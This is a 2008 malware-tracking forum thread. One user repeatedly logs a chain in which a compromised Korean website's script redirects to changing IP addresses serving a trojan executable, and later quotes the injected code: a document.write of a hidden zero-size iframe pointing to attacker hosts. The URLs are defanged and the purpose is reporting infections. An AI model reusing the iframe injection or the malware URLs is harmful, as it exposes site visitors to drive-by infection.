Author Topic: hxxp://www.trigem.co.kr/  (Read 8266 times)

0 Members and 1 Guest are viewing this topic.

May 15, 2008, 07:25:51 am
Read 8266 times

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
               hxxp://222.233.53.126/MEDIA/help.html
                     hxxp://222.233.53.126/MEDIA/H.exe

c:\windows\system32\drivers\windf.exe - probably a variant of Win32/Genetik trojan
C:\WINDOWS\system32\drivers\windf.hlp - probably a variant of Win32/Genetik trojan

May 15, 2008, 06:51:28 pm
Reply #1

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 16, 2008, 10:35:40 pm
Reply #2

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://222.122.138.92/index.html
                  hxxp://222.122.138.92/H.exe

May 17, 2008, 05:32:37 pm
Reply #3

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 18, 2008, 10:39:48 pm
Reply #4

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://222.122.138.85/index.html
                  hxxp:////222.122.138.85/H.exe

May 18, 2008, 10:41:53 pm
Reply #5

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 19, 2008, 02:02:15 am
Reply #6

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://121.125.78.141/index.html
                  hxxp//121.125.78.141/H.exe

May 19, 2008, 05:47:31 pm
Reply #7

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 21, 2008, 12:19:35 am
Reply #8

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://222.122.138.85:9933/logo/index.html
                  hxxp://222.122.138.85:9933/logo/H.exe

May 21, 2008, 07:46:55 am
Reply #9

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Quote
hxxp://www.trigem.co.kr/
      hxxp://www.trigem.co.kr/asset/js/tg_active.js
            hxxp://61.97.32.53:85/help.html
                  hxxp://61.97.32.53:85/H.exe

May 21, 2008, 09:27:45 pm
Reply #10

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964

May 26, 2008, 12:47:31 am
Reply #11

pcaccent

  • Special Access
  • Sr. Member

  • Offline
  • *

  • 190
Today : May 26 2008 9:47 AM(GMT+9)

May 24 2008

Quote
document.write('<iframe height=0 width=0 src="hxxp://121.124.127.170/help.html"></iframe>');
      hxxp://121.124.127.170/H.exe

May 25 2008

Quote
document.write('<iframe height=0 width=0 src="hxxp://222.122.138.74/WMRoot/index.html"></iframe>');
      hxxp//222.122.138.74/WMRoot/H.exe

May 26, 2008, 04:56:30 pm
Reply #12

JohnC

  • Special Members
  • Hero Member

  • Offline
  • *

  • 1964